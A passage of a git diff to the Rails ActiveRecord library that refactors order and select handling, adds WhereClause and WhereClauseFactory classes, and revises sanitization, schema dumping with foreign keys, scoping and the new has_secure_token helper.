-    def build_select(arel, selects)
-      unless selects.empty?
-        arel.project(*selects)
+    def convert_join_strings_to_ast(table, joins)
+      joins
+        .flatten
+        .reject(&:blank?)
+        .map { |join| table.create_string_join(Arel.sql(join)) }
+    end
+
+    def build_select(arel)
+      if select_values.any?
+        arel.project(*arel_columns(select_values.uniq))
       else
         arel.project(@klass.arel_table[Arel.star])
       end
     end
 
+    def arel_columns(columns)
+      columns.map do |field|
+        if (Symbol === field || String === field) && columns_hash.key?(field.to_s)
+          arel_table[field]
+        else
+          field
+        end
+      end
+    end
+
     def reverse_sql_order(order_query)
       order_query = ["#{quoted_table_name}.#{quoted_primary_key} ASC"] if order_query.empty?
 
@@ -993,49 +1020,57 @@ module ActiveRecord
             s.strip!
             s.gsub!(/\sasc\Z/i, ' DESC') || s.gsub!(/\sdesc\Z/i, ' ASC') || s.concat(' DESC')
           end
-        when Symbol
-          { o => :desc }
-        when Hash
-          o.each_with_object({}) do |(field, dir), memo|
-            memo[field] = (dir == :asc ? :desc : :asc )
-          end
         else
           o
         end
       end
     end
 
-    def array_of_strings?(o)
-      o.is_a?(Array) && o.all? { |obj| obj.is_a?(String) }
-    end
-
     def build_order(arel)
       orders = order_values.uniq
       orders.reject!(&:blank?)
-      orders = reverse_sql_order(orders) if reverse_order_value
-
-      orders = orders.flat_map do |order|
-        case order
-        when Symbol
-          table[order].asc
-        when Hash
-          order.map { |field, dir| table[field].send(dir) }
-        else
-          order
-        end
-      end
 
       arel.order(*orders) unless orders.empty?
     end
 
+    VALID_DIRECTIONS = [:asc, :desc, :ASC, :DESC,
+                        'asc', 'desc', 'ASC', 'DESC'] # :nodoc:
+
     def validate_order_args(args)
-      args.grep(Hash) do |h|
-        unless (h.values - [:asc, :desc]).empty?
-          raise ArgumentError, 'Direction should be :asc or :desc'
+      args.each do |arg|
+        next unless arg.is_a?(Hash)
+        arg.each do |_key, value|
+          raise ArgumentError, "Direction \"#{value}\" is invalid. Valid " \
+                               "directions are: #{VALID_DIRECTIONS.inspect}" unless VALID_DIRECTIONS.include?(value)
         end
       end
     end
 
+    def preprocess_order_args(order_args)
+      order_args.flatten!
+      validate_order_args(order_args)
+
+      references = order_args.grep(String)
+      references.map! { |arg| arg =~ /^([a-zA-Z]\w*)\.(\w+)/ && $1 }.compact!
+      references!(references) if references.any?
+
+      # if a symbol is given we prepend the quoted table name
+      order_args.map! do |arg|
+        case arg
+        when Symbol
+          arg = klass.attribute_alias(arg) if klass.attribute_alias?(arg)
+          table[arg].asc
+        when Hash
+          arg.map { |field, dir|
+            field = klass.attribute_alias(field) if klass.attribute_alias?(field)
+            table[field].send(dir.downcase)
+          }
+        else
+          arg
+        end
+      end.flatten!
+    end
+
     # Checks to make sure that the arguments are not blank. Note that if some
     # blank-like object were initially passed into the query method, then this
     # method will not raise an error.
@@ -1057,5 +1092,19 @@ module ActiveRecord
         raise ArgumentError, "The method .#{method_name}() must contain arguments."
       end
     end
+
+    def new_where_clause
+      Relation::WhereClause.empty
+    end
+    alias new_having_clause new_where_clause
+
+    def where_clause_factory
+      @where_clause_factory ||= Relation::WhereClauseFactory.new(klass, predicate_builder)
+    end
+    alias having_clause_factory where_clause_factory
+
+    def new_from_clause
+      Relation::FromClause.empty
+    end
   end
 end
diff --git a/activerecord/lib/active_record/relation/spawn_methods.rb b/activerecord/lib/active_record/relation/spawn_methods.rb
index 2552cbd234..70da37fa84 100644
--- a/activerecord/lib/active_record/relation/spawn_methods.rb
+++ b/activerecord/lib/active_record/relation/spawn_methods.rb
@@ -32,7 +32,7 @@ module ActiveRecord
       elsif other
         spawn.merge!(other)
       else
-        self
+        raise ArgumentError, "invalid argument: #{other.inspect}."
       end
     end
 
@@ -64,7 +64,7 @@ module ActiveRecord
     private
 
       def relation_with(values) # :nodoc:
-        result = Relation.create(klass, table, values)
+        result = Relation.create(klass, table, predicate_builder, values)
         result.extend(*extending_values) if extending_values.any?
         result
       end
diff --git a/activerecord/lib/active_record/relation/where_clause.rb b/activerecord/lib/active_record/relation/where_clause.rb
new file mode 100644
index 0000000000..f9b9e640ec
--- /dev/null
+++ b/activerecord/lib/active_record/relation/where_clause.rb
@@ -0,0 +1,173 @@
+module ActiveRecord
+  class Relation
+    class WhereClause # :nodoc:
+      attr_reader :binds
+
+      delegate :any?, :empty?, to: :predicates
+
+      def initialize(predicates, binds)
+        @predicates = predicates
+        @binds = binds
+      end
+
+      def +(other)
+        WhereClause.new(
+          predicates + other.predicates,
+          binds + other.binds,
+        )
+      end
+
+      def merge(other)
+        WhereClause.new(
+          predicates_unreferenced_by(other) + other.predicates,
+          non_conflicting_binds(other) + other.binds,
+        )
+      end
+
+      def except(*columns)
+        WhereClause.new(
+          predicates_except(columns),
+          binds_except(columns),
+        )
+      end
+
+      def or(other)
+        if empty?
+          self
+        elsif other.empty?
+          other
+        else
+          WhereClause.new(
+            [ast.or(other.ast)],
+            binds + other.binds
+          )
+        end
+      end
+
+      def to_h(table_name = nil)
+        equalities = predicates.grep(Arel::Nodes::Equality)
+        if table_name
+          equalities = equalities.select do |node|
+            node.left.relation.name == table_name
+          end
+        end
+
+        binds = self.binds.map { |attr| [attr.name, attr.value] }.to_h
+
+        equalities.map { |node|
+          name = node.left.name
+          [name, binds.fetch(name.to_s) {
+            case node.right
+            when Array then node.right.map(&:val)
+            when Arel::Nodes::Casted, Arel::Nodes::Quoted
+              node.right.val
+            end
+          }]
+        }.to_h
+      end
+
+      def ast
+        Arel::Nodes::And.new(predicates_with_wrapped_sql_literals)
+      end
+
+      def ==(other)
+        other.is_a?(WhereClause) &&
+          predicates == other.predicates &&
+          binds == other.binds
+      end
+
+      def invert
+        WhereClause.new(inverted_predicates, binds)
+      end
+
+      def self.empty
+        new([], [])
+      end
+
+      protected
+
+      attr_reader :predicates
+
+      def referenced_columns
+        @referenced_columns ||= begin
+          equality_nodes = predicates.select { |n| equality_node?(n) }
+          Set.new(equality_nodes, &:left)
+        end
+      end
+
+      private
+
+      def predicates_unreferenced_by(other)
+        predicates.reject do |n|
+          equality_node?(n) && other.referenced_columns.include?(n.left)
+        end
+      end
+
+      def equality_node?(node)
+        node.respond_to?(:operator) && node.operator == :==
+      end
+
+      def non_conflicting_binds(other)
+        conflicts = referenced_columns & other.referenced_columns
+        conflicts.map! { |node| node.name.to_s }
+        binds.reject { |attr| conflicts.include?(attr.name) }
+      end
+
+      def inverted_predicates
+        predicates.map { |node| invert_predicate(node) }
+      end
+
+      def invert_predicate(node)
+        case node
+        when NilClass
+          raise ArgumentError, 'Invalid argument for .where.not(), got nil.'
+        when Arel::Nodes::In
+          Arel::Nodes::NotIn.new(node.left, node.right)
+        when Arel::Nodes::Equality
+          Arel::Nodes::NotEqual.new(node.left, node.right)
+        when String
+          Arel::Nodes::Not.new(Arel::Nodes::SqlLiteral.new(node))
+        else
+          Arel::Nodes::Not.new(node)
+        end
+      end
+
+      def predicates_except(columns)
+        predicates.reject do |node|
+          case node
+          when Arel::Nodes::Between, Arel::Nodes::In, Arel::Nodes::NotIn, Arel::Nodes::Equality, Arel::Nodes::NotEqual, Arel::Nodes::LessThanOrEqual, Arel::Nodes::GreaterThanOrEqual
+            subrelation = (node.left.kind_of?(Arel::Attributes::Attribute) ? node.left : node.right)
+            columns.include?(subrelation.name.to_s)
+          end
+        end
+      end
+
+      def binds_except(columns)
+        binds.reject do |attr|
+          columns.include?(attr.name)
+        end
+      end
+
+      def predicates_with_wrapped_sql_literals
+        non_empty_predicates.map do |node|
+          if Arel::Nodes::Equality === node
+            node
+          else
+            wrap_sql_literal(node)
+          end
+        end
+      end
+
+      def non_empty_predicates
+        predicates - ['']
+      end
+
+      def wrap_sql_literal(node)
+        if ::String === node
+          node = Arel.sql(node)
+        end
+        Arel::Nodes::Grouping.new(node)
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/relation/where_clause_factory.rb b/activerecord/lib/active_record/relation/where_clause_factory.rb
new file mode 100644
index 0000000000..0430922be3
--- /dev/null
+++ b/activerecord/lib/active_record/relation/where_clause_factory.rb
@@ -0,0 +1,34 @@
+module ActiveRecord
+  class Relation
+    class WhereClauseFactory
+      def initialize(klass, predicate_builder)
+        @klass = klass
+        @predicate_builder = predicate_builder
+      end
+
+      def build(opts, other)
+        binds = []
+
+        case opts
+        when String, Array
+          parts = [klass.send(:sanitize_sql, other.empty? ? opts : ([opts] + other))]
+        when Hash
+          attributes = predicate_builder.resolve_column_aliases(opts)
+          attributes = klass.send(:expand_hash_conditions_for_aggregates, attributes)
+
+          attributes, binds = predicate_builder.create_binds(attributes)
+
+          parts = predicate_builder.build_from_hash(attributes)
+        else
+          parts = [opts]
+        end
+
+        WhereClause.new(parts, binds)
+      end
+
+      protected
+
+      attr_reader :klass, :predicate_builder
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/result.rb b/activerecord/lib/active_record/result.rb
index 253368ae5b..3a3e65ef32 100644
--- a/activerecord/lib/active_record/result.rb
+++ b/activerecord/lib/active_record/result.rb
@@ -31,7 +31,7 @@ module ActiveRecord
   class Result
     include Enumerable
 
-    IDENTITY_TYPE = Class.new { def type_cast(v); v; end }.new # :nodoc:
+    IDENTITY_TYPE = Type::Value.new # :nodoc:
 
     attr_reader :columns, :rows, :column_types
 
@@ -42,15 +42,15 @@ module ActiveRecord
       @column_types = column_types
     end
 
-    def identity_type # :nodoc:
-      IDENTITY_TYPE
+    def length
+      @rows.length
     end
 
     def each
       if block_given?
         hash_rows.each { |row| yield row }
       else
-        hash_rows.to_enum
+        hash_rows.to_enum { @rows.size }
       end
     end
 
@@ -78,14 +78,30 @@ module ActiveRecord
       hash_rows.last
     end
 
+    def cast_values(type_overrides = {}) # :nodoc:
+      types = columns.map { |name| column_type(name, type_overrides) }
+      result = rows.map do |values|
+        types.zip(values).map { |type, value| type.type_cast_from_database(value) }
+      end
+
+      columns.one? ? result.map!(&:first) : result
+    end
+
     def initialize_copy(other)
-      @columns   = columns.dup
-      @rows      = rows.dup
-      @hash_rows = nil
+      @columns      = columns.dup
+      @rows         = rows.dup
+      @column_types = column_types.dup
+      @hash_rows    = nil
     end
 
     private
 
+    def column_type(name, type_overrides = {})
+      type_overrides.fetch(name) do
+        column_types.fetch(name, IDENTITY_TYPE)
+      end
+    end
+
     def hash_rows
       @hash_rows ||=
         begin
@@ -93,7 +109,21 @@ module ActiveRecord
           # used as keys in ActiveRecord::Base's @attributes hash
           columns = @columns.map { |c| c.dup.freeze }
           @rows.map { |row|
-            Hash[columns.zip(row)]
+            # In the past we used Hash[columns.zip(row)]
+            #  though elegant, the verbose way is much more efficient
+            #  both time and memory wise cause it avoids a big array allocation
+            #  this method is called a lot and needs to be micro optimised
+            hash = {}
+
+            index = 0
+            length = columns.length
+
+            while index < length
+              hash[columns[index]] = row[index]
+              index += 1
+            end
+
+            hash
           }
         end
     end
diff --git a/activerecord/lib/active_record/runtime_registry.rb b/activerecord/lib/active_record/runtime_registry.rb
index 63e6738622..9d605b826a 100644
--- a/activerecord/lib/active_record/runtime_registry.rb
+++ b/activerecord/lib/active_record/runtime_registry.rb
@@ -13,5 +13,10 @@ module ActiveRecord
     extend ActiveSupport::PerThreadRegistry
 
     attr_accessor :connection_handler, :sql_runtime, :connection_id
+
+    [:connection_handler, :sql_runtime, :connection_id].each do |val|
+      class_eval %{ def self.#{val}; instance.#{val}; end }, __FILE__, __LINE__
+      class_eval %{ def self.#{val}=(x); instance.#{val}=x; end }, __FILE__, __LINE__
+    end
   end
 end
diff --git a/activerecord/lib/active_record/sanitization.rb b/activerecord/lib/active_record/sanitization.rb
index 0b87ab9926..313e767dcb 100644
--- a/activerecord/lib/active_record/sanitization.rb
+++ b/activerecord/lib/active_record/sanitization.rb
@@ -3,14 +3,11 @@ module ActiveRecord
     extend ActiveSupport::Concern
 
     module ClassMethods
-      def quote_value(value, column) #:nodoc:
-        connection.quote(value, column)
-      end
-
       # Used to sanitize objects before they're used in an SQL SELECT statement. Delegates to <tt>connection.quote</tt>.
       def sanitize(object) #:nodoc:
         connection.quote(object)
       end
+      alias_method :quote_value, :sanitize
 
       protected
 
@@ -29,6 +26,7 @@ module ActiveRecord
         end
       end
       alias_method :sanitize_sql, :sanitize_sql_for_conditions
+      alias_method :sanitize_conditions, :sanitize_sql
 
       # Accepts an array, hash, or string of SQL conditions and sanitizes
       # them into a valid SQL fragment for a SET clause.
@@ -71,40 +69,24 @@ module ActiveRecord
         expanded_attrs
       end
 
-      # Sanitizes a hash of attribute/value pairs into SQL conditions for a WHERE clause.
-      #   { name: "foo'bar", group_id: 4 }
-      #     # => "name='foo''bar' and group_id= 4"
-      #   { status: nil, group_id: [1,2,3] }
-      #     # => "status IS NULL and group_id IN (1,2,3)"
-      #   { age: 13..18 }
-      #     # => "age BETWEEN 13 AND 18"
-      #   { 'other_records.id' => 7 }
-      #     # => "`other_records`.`id` = 7"
-      #   { other_records: { id: 7 } }
-      #     # => "`other_records`.`id` = 7"
-      # And for value objects on a composed_of relationship:
-      #   { address: Address.new("123 abc st.", "chicago") }
-      #     # => "address_street='123 abc st.' and address_city='chicago'"
-      def sanitize_sql_hash_for_conditions(attrs, default_table_name = self.table_name)
-        attrs = PredicateBuilder.resolve_column_aliases self, attrs
-        attrs = expand_hash_conditions_for_aggregates(attrs)
-
-        table = Arel::Table.new(table_name, arel_engine).alias(default_table_name)
-        PredicateBuilder.build_from_hash(self, attrs, table).map { |b|
-          connection.visitor.accept b
-        }.join(' AND ')
-      end
-      alias_method :sanitize_sql_hash, :sanitize_sql_hash_for_conditions
-
       # Sanitizes a hash of attribute/value pairs into SQL conditions for a SET clause.
       #   { status: nil, group_id: 1 }
       #     # => "status = NULL , group_id = 1"
       def sanitize_sql_hash_for_assignment(attrs, table)
+        c = connection
         attrs.map do |attr, value|
-          "#{connection.quote_table_name_for_assignment(table, attr)} = #{quote_bound_value(value)}"
+          value = type_for_attribute(attr.to_s).type_cast_for_database(value)
+          "#{c.quote_table_name_for_assignment(table, attr)} = #{c.quote(value)}"
         end.join(', ')
       end
 
+      # Sanitizes a +string+ so that it is safe to use within an SQL
+      # LIKE statement. This method uses +escape_character+ to escape all occurrences of "\", "_" and "%"
+      def sanitize_sql_like(string, escape_character = "\\")
+        pattern = Regexp.union(escape_character, "%", "_")
+        string.gsub(pattern) { |x| [escape_character, x].join }
+      end
+
       # Accepts an array of conditions. The array has each value
       # sanitized and interpolated into the SQL statement.
       #   ["name='%s' and group_id='%s'", "foo'bar", 4]  returns  "name='foo''bar' and group_id='4'"
@@ -121,13 +103,21 @@ module ActiveRecord
         end
       end
 
-      alias_method :sanitize_conditions, :sanitize_sql
-
       def replace_bind_variables(statement, values) #:nodoc:
         raise_if_bind_arity_mismatch(statement, statement.count('?'), values.size)
         bound = values.dup
         c = connection
-        statement.gsub('?') { quote_bound_value(bound.shift, c) }
+        statement.gsub(/\?/) do
+          replace_bind_variable(bound.shift, c)
+        end
+      end
+
+      def replace_bind_variable(value, c = connection) #:nodoc:
+        if ActiveRecord::Relation === value
+          value.to_sql
+        else
+          quote_bound_value(value, c)
+        end
       end
 
       def replace_named_bind_variables(statement, bind_vars) #:nodoc:
@@ -135,7 +125,7 @@ module ActiveRecord
           if $1 == ':' # skip postgresql casts
             $& # return the whole match
           elsif bind_vars.include?(match = $2.to_sym)
-            quote_bound_value(bind_vars[match])
+            replace_bind_variable(bind_vars[match])
           else
             raise PreparedStatementInvalid, "missing value for :#{match} in #{statement}"
           end
@@ -163,7 +153,7 @@ module ActiveRecord
 
     # TODO: Deprecate this
     def quoted_id
-      self.class.quote_value(id, column_for_attribute(self.class.primary_key))
+      self.class.quote_value(@attributes[self.class.primary_key].value_for_database)
     end
   end
 end
diff --git a/activerecord/lib/active_record/schema.rb b/activerecord/lib/active_record/schema.rb
index 4bfd0167a4..0a5546a760 100644
--- a/activerecord/lib/active_record/schema.rb
+++ b/activerecord/lib/active_record/schema.rb
@@ -1,4 +1,3 @@
-
 module ActiveRecord
   # = Active Record Schema
   #
diff --git a/activerecord/lib/active_record/schema_dumper.rb b/activerecord/lib/active_record/schema_dumper.rb
index 1181cc739e..da95920571 100644
--- a/activerecord/lib/active_record/schema_dumper.rb
+++ b/activerecord/lib/active_record/schema_dumper.rb
@@ -17,9 +17,19 @@ module ActiveRecord
     cattr_accessor :ignore_tables
     @@ignore_tables = []
 
-    def self.dump(connection=ActiveRecord::Base.connection, stream=STDOUT)
-      new(connection).dump(stream)
-      stream
+    class << self
+      def dump(connection=ActiveRecord::Base.connection, stream=STDOUT, config = ActiveRecord::Base)
+        new(connection, generate_options(config)).dump(stream)
+        stream
+      end
+
+      private
+        def generate_options(config)
+          {
+            table_name_prefix: config.table_name_prefix,
+            table_name_suffix: config.table_name_suffix
+          }
+        end
     end
 
     def dump(stream)
@@ -32,10 +42,10 @@ module ActiveRecord
 
     private
 
-      def initialize(connection)
+      def initialize(connection, options = {})
         @connection = connection
-        @types = @connection.native_database_types
         @version = Migrator::current_version rescue nil
+        @options = options
       end
 
       def header(stream)
@@ -80,16 +90,17 @@ HEADER
       end
 
       def tables(stream)
-        @connection.tables.sort.each do |tbl|
-          next if ['schema_migrations', ignore_tables].flatten.any? do |ignored|
-            case ignored
-            when String; remove_prefix_and_suffix(tbl) == ignored
-            when Regexp; remove_prefix_and_suffix(tbl) =~ ignored
-            else
-              raise StandardError, 'ActiveRecord::SchemaDumper.ignore_tables accepts an array of String and / or Regexp values.'
-            end
+        sorted_tables = @connection.tables.sort
+
+        sorted_tables.each do |table_name|
+          table(table_name, stream) unless ignored?(table_name)
+        end
+
+        # dump foreign keys at the end to make sure all dependent tables exist.
+        if @connection.supports_foreign_keys?
+          sorted_tables.each do |tbl|
+            foreign_keys(tbl, stream) unless ignored?(tbl)
           end
-          table(tbl, stream)
         end
       end
 
@@ -99,31 +110,31 @@ HEADER
           tbl = StringIO.new
 
           # first dump primary key column
-          if @connection.respond_to?(:pk_and_sequence_for)
-            pk, _ = @connection.pk_and_sequence_for(table)
-          elsif @connection.respond_to?(:primary_key)
-            pk = @connection.primary_key(table)
-          end
+          pk = @connection.primary_key(table)
 
           tbl.print "  create_table #{remove_prefix_and_suffix(table).inspect}"
           pkcol = columns.detect { |c| c.name == pk }
           if pkcol
             if pk != 'id'
               tbl.print %Q(, primary_key: "#{pk}")
-            elsif pkcol.sql_type == 'uuid'
-              tbl.print ", id: :uuid"
+            end
+            pkcolspec = @connection.column_spec_for_primary_key(pkcol)
+            if pkcolspec
+              pkcolspec.each do |key, value|
+                tbl.print ", #{key}: #{value}"
+              end
             end
           else
             tbl.print ", id: false"
           end
-          tbl.print ", force: true"
+          tbl.print ", force: :cascade"
           tbl.puts " do |t|"
 
           # then dump all non-primary key columns
           column_specs = columns.map do |column|
             raise StandardError, "Unknown type '#{column.sql_type}' for column '#{column.name}'" unless @connection.valid_type?(column.type)
             next if column.name == pk
-            @connection.column_spec(column, @types)
+            @connection.column_spec(column)
           end.compact
 
           # find all migration keys used in this table
@@ -174,34 +185,67 @@ HEADER
         if (indexes = @connection.indexes(table)).any?
           add_index_statements = indexes.map do |index|
             statement_parts = [
-              ('add_index ' + remove_prefix_and_suffix(index.table).inspect),
+              "add_index #{remove_prefix_and_suffix(index.table).inspect}",
               index.columns.inspect,
-              ('name: ' + index.name.inspect),
+              "name: #{index.name.inspect}",
             ]
             statement_parts << 'unique: true' if index.unique
 
             index_lengths = (index.lengths || []).compact
-            statement_parts << ('length: ' + Hash[index.columns.zip(index.lengths)].inspect) unless index_lengths.empty?
+            statement_parts << "length: #{Hash[index.columns.zip(index.lengths)].inspect}" if index_lengths.any?
+
+            index_orders = index.orders || {}
+            statement_parts << "order: #{index.orders.inspect}" if index_orders.any?
+            statement_parts << "where: #{index.where.inspect}" if index.where
+            statement_parts << "using: #{index.using.inspect}" if index.using
+            statement_parts << "type: #{index.type.inspect}" if index.type
+
+            "  #{statement_parts.join(', ')}"
+          end
 
-            index_orders = (index.orders || {})
-            statement_parts << ('order: ' + index.orders.inspect) unless index_orders.empty?
+          stream.puts add_index_statements.sort.join("\n")
+          stream.puts
+        end
+      end
 
-            statement_parts << ('where: ' + index.where.inspect) if index.where
+      def foreign_keys(table, stream)
+        if (foreign_keys = @connection.foreign_keys(table)).any?
+          add_foreign_key_statements = foreign_keys.map do |foreign_key|
+            parts = [
+              "add_foreign_key #{remove_prefix_and_suffix(foreign_key.from_table).inspect}",
+              remove_prefix_and_suffix(foreign_key.to_table).inspect,
+            ]
 
-            statement_parts << ('using: ' + index.using.inspect) if index.using
+            if foreign_key.column != @connection.foreign_key_column_for(foreign_key.to_table)
+              parts << "column: #{foreign_key.column.inspect}"
+            end
 
-            statement_parts << ('type: ' + index.type.inspect) if index.type
+            if foreign_key.custom_primary_key?
+              parts << "primary_key: #{foreign_key.primary_key.inspect}"
+            end
 
-            '  ' + statement_parts.join(', ')
+            if foreign_key.name !~ /^fk_rails_[0-9a-f]{10}$/
+              parts << "name: #{foreign_key.name.inspect}"
+            end
+
+            parts << "on_update: #{foreign_key.on_update.inspect}" if foreign_key.on_update
+            parts << "on_delete: #{foreign_key.on_delete.inspect}" if foreign_key.on_delete
+
+            "  #{parts.join(', ')}"
           end
 
-          stream.puts add_index_statements.sort.join("\n")
-          stream.puts
+          stream.puts add_foreign_key_statements.sort.join("\n")
         end
       end
 
       def remove_prefix_and_suffix(table)
-        table.gsub(/^(#{ActiveRecord::Base.table_name_prefix})(.+)(#{ActiveRecord::Base.table_name_suffix})$/,  "\\2")
+        table.gsub(/^(#{@options[:table_name_prefix]})(.+)(#{@options[:table_name_suffix]})$/,  "\\2")
+      end
+
+      def ignored?(table_name)
+        ['schema_migrations', ignore_tables].flatten.any? do |ignored|
+          ignored === remove_prefix_and_suffix(table_name)
+        end
       end
   end
 end
diff --git a/activerecord/lib/active_record/schema_migration.rb b/activerecord/lib/active_record/schema_migration.rb
index fee19b1096..b5038104ac 100644
--- a/activerecord/lib/active_record/schema_migration.rb
+++ b/activerecord/lib/active_record/schema_migration.rb
@@ -5,13 +5,16 @@ require 'active_record/base'
 module ActiveRecord
   class SchemaMigration < ActiveRecord::Base
     class << self
+      def primary_key
+        nil
+      end
 
       def table_name
-        "#{table_name_prefix}schema_migrations#{table_name_suffix}"
+        "#{table_name_prefix}#{ActiveRecord::Base.schema_migrations_table_name}#{table_name_suffix}"
       end
 
       def index_name
-        "#{table_name_prefix}unique_schema_migrations#{table_name_suffix}"
+        "#{table_name_prefix}unique_#{ActiveRecord::Base.schema_migrations_table_name}#{table_name_suffix}"
       end
 
       def table_exists?
@@ -36,6 +39,14 @@ module ActiveRecord
           connection.drop_table(table_name)
         end
       end
+
+      def normalize_migration_number(number)
+        "%.3d" % number.to_i
+      end
+
+      def normalized_versions
+        pluck(:version).map { |v| normalize_migration_number v }
+      end
     end
 
     def version
diff --git a/activerecord/lib/active_record/scoping.rb b/activerecord/lib/active_record/scoping.rb
index 0cf3d59985..fca4f1c9d3 100644
--- a/activerecord/lib/active_record/scoping.rb
+++ b/activerecord/lib/active_record/scoping.rb
@@ -11,11 +11,11 @@ module ActiveRecord
 
     module ClassMethods
       def current_scope #:nodoc:
-        ScopeRegistry.value_for(:current_scope, base_class.to_s)
+        ScopeRegistry.value_for(:current_scope, self.to_s)
       end
 
       def current_scope=(scope) #:nodoc:
-        ScopeRegistry.set_value_for(:current_scope, base_class.to_s, scope)
+        ScopeRegistry.set_value_for(:current_scope, self.to_s, scope)
       end
     end
 
@@ -27,6 +27,11 @@ module ActiveRecord
       end
     end
 
+    def initialize_internals_callback
+      super
+      populate_with_current_scope_attributes
+    end
+
     # This class stores the +:current_scope+ and +:ignore_default_scope+ values
     # for different classes. The registry is stored as a thread local, which is
     # accessed through +ScopeRegistry.current+.
diff --git a/activerecord/lib/active_record/scoping/default.rb b/activerecord/lib/active_record/scoping/default.rb
index 01fec31544..18190cb535 100644
--- a/activerecord/lib/active_record/scoping/default.rb
+++ b/activerecord/lib/active_record/scoping/default.rb
@@ -11,7 +11,7 @@ module ActiveRecord
       end
 
       module ClassMethods
-        # Returns a scope for the model without the +default_scope+.
+        # Returns a scope for the model without the previously set scopes.
         #
         #   class Post < ActiveRecord::Base
         #     def self.default_scope
@@ -19,11 +19,12 @@ module ActiveRecord
         #     end
         #   end
         #
-        #   Post.all          # Fires "SELECT * FROM posts WHERE published = true"
-        #   Post.unscoped.all # Fires "SELECT * FROM posts"
+        #   Post.all                                  # Fires "SELECT * FROM posts WHERE published = true"
+        #   Post.unscoped.all                         # Fires "SELECT * FROM posts"
+        #   Post.where(published: false).unscoped.all # Fires "SELECT * FROM posts"
         #
         # This method also accepts a block. All queries inside the block will
-        # not use the +default_scope+:
+        # not use the previously set scopes.
         #
         #   Post.unscoped {
         #     Post.limit(10) # Fires "SELECT * FROM posts LIMIT 10"
@@ -93,14 +94,14 @@ module ActiveRecord
           self.default_scopes += [scope]
         end
 
-        def build_default_scope # :nodoc:
+        def build_default_scope(base_rel = relation) # :nodoc:
           if !Base.is_a?(method(:default_scope).owner)
             # The user has defined their own default scope method, so call that
             evaluate_default_scope { default_scope }
           elsif default_scopes.any?
             evaluate_default_scope do
-              default_scopes.inject(relation) do |default_scope, scope|
-                default_scope.merge(unscoped { scope.call })
+              default_scopes.inject(base_rel) do |default_scope, scope|
+                default_scope.merge(base_rel.scoping { scope.call })
               end
             end
           end
diff --git a/activerecord/lib/active_record/scoping/named.rb b/activerecord/lib/active_record/scoping/named.rb
index 2a5718f388..43c7b1c574 100644
--- a/activerecord/lib/active_record/scoping/named.rb
+++ b/activerecord/lib/active_record/scoping/named.rb
@@ -30,7 +30,13 @@ module ActiveRecord
         end
 
         def default_scoped # :nodoc:
-          relation.merge(build_default_scope)
+          scope = build_default_scope
+
+          if scope
+            relation.spawn.merge!(scope)
+          else
+            relation
+          end
         end
 
         # Collects attributes from scopes that should be applied when creating
@@ -139,13 +145,32 @@ module ActiveRecord
         #   Article.published.featured.latest_article
         #   Article.featured.titles
         def scope(name, body, &block)
+          unless body.respond_to?(:call)
+            raise ArgumentError, 'The scope body needs to be callable.'
+          end
+
+          if dangerous_class_method?(name)
+            raise ArgumentError, "You tried to define a scope named \"#{name}\" " \
+              "on the model \"#{self.name}\", but Active Record already defined " \
+              "a class method with the same name."
+          end
+
           extension = Module.new(&block) if block
 
-          singleton_class.send(:define_method, name) do |*args|
-            scope = all.scoping { body.call(*args) }
-            scope = scope.extending(extension) if extension
+          if body.respond_to?(:to_proc)
+            singleton_class.send(:define_method, name) do |*args|
+              scope = all.scoping { instance_exec(*args, &body) }
+              scope = scope.extending(extension) if extension
+
+              scope || all
+            end
+          else
+            singleton_class.send(:define_method, name) do |*args|
+              scope = all.scoping { body.call(*args) }
+              scope = scope.extending(extension) if extension
 
-            scope || all
+              scope || all
+            end
           end
         end
       end
diff --git a/activerecord/lib/active_record/secure_token.rb b/activerecord/lib/active_record/secure_token.rb
new file mode 100644
index 0000000000..07031b6371
--- /dev/null
+++ b/activerecord/lib/active_record/secure_token.rb
@@ -0,0 +1,39 @@
+module ActiveRecord
+  module SecureToken
+    extend ActiveSupport::Concern
+
+    module ClassMethods
+      # Example using has_secure_token
+      #
+      #   # Schema: User(token:string, auth_token:string)
+      #   class User < ActiveRecord::Base
+      #     has_secure_token
+      #     has_secure_token :auth_token
+      #   end
+      #
+      #   user = User.new
+      #   user.save
+      #   user.token # => "4kUgL2pdQMSCQtjE"
+      #   user.auth_token # => "77TMHrHJFvFDwodq8w7Ev2m7"
+      #   user.regenerate_token # => true
+      #   user.regenerate_auth_token # => true
+      #
+      # SecureRandom::base58 is used to generate the 24-character unique token, so collisions are highly unlikely.
+      #
+      # Note that it's still possible to generate a race condition in the database in the same way that
+      # validates_presence_of can. You're encouraged to add a unique index in the database to deal with
+      # this even more unlikely scenario.
+      def has_secure_token(attribute = :token)
+        # Load securerandom only when has_secure_token is used.
+        require 'active_support/core_ext/securerandom'
+        define_method("regenerate_#{attribute}") { update! attribute => self.class.generate_unique_secure_token }
+        before_create { self.send("#{attribute}=", self.class.generate_unique_secure_token) }
+      end
+
+      def generate_unique_secure_token
+        SecureRandom.base58(24)
+      end
+    end
+  end
+end
+
diff --git a/activerecord/lib/active_record/serialization.rb b/activerecord/lib/active_record/serialization.rb
index bd9079b596..48c12dcf9f 100644
--- a/activerecord/lib/active_record/serialization.rb
+++ b/activerecord/lib/active_record/serialization.rb
@@ -11,7 +11,7 @@ module ActiveRecord #:nodoc:
     def serializable_hash(options = nil)
       options = options.try(:clone) || {}
 
-      options[:except] = Array(options[:except]).map { |n| n.to_s }
+      options[:except] = Array(options[:except]).map(&:to_s)
       options[:except] |= Array(self.class.inheritance_column)
 
       super(options)
diff --git a/activerecord/lib/active_record/serializers/xml_serializer.rb b/activerecord/lib/active_record/serializers/xml_serializer.rb
index 1a766093d0..89b7e0be82 100644
--- a/activerecord/lib/active_record/serializers/xml_serializer.rb
+++ b/activerecord/lib/active_record/serializers/xml_serializer.rb
@@ -180,13 +180,9 @@ module ActiveRecord #:nodoc:
     class Attribute < ActiveModel::Serializers::Xml::Serializer::Attribute #:nodoc:
       def compute_type
         klass = @serializable.class
-        type = if klass.serialized_attributes.key?(name)
-                 super
-               elsif klass.columns_hash.key?(name)
-                 klass.columns_hash[name].type
-               else
-                 NilClass
-               end
+        cast_type = klass.type_for_attribute(name)
+
+        type = ActiveSupport::XmlMini::TYPE_NAMES[value.class.name] || cast_type.type
 
         { :text => :string,
           :time => :datetime }[type] || type
diff --git a/activerecord/lib/active_record/statement_cache.rb b/activerecord/lib/active_record/statement_cache.rb
index dd4ee0c4a0..95986c820c 100644
--- a/activerecord/lib/active_record/statement_cache.rb
+++ b/activerecord/lib/active_record/statement_cache.rb
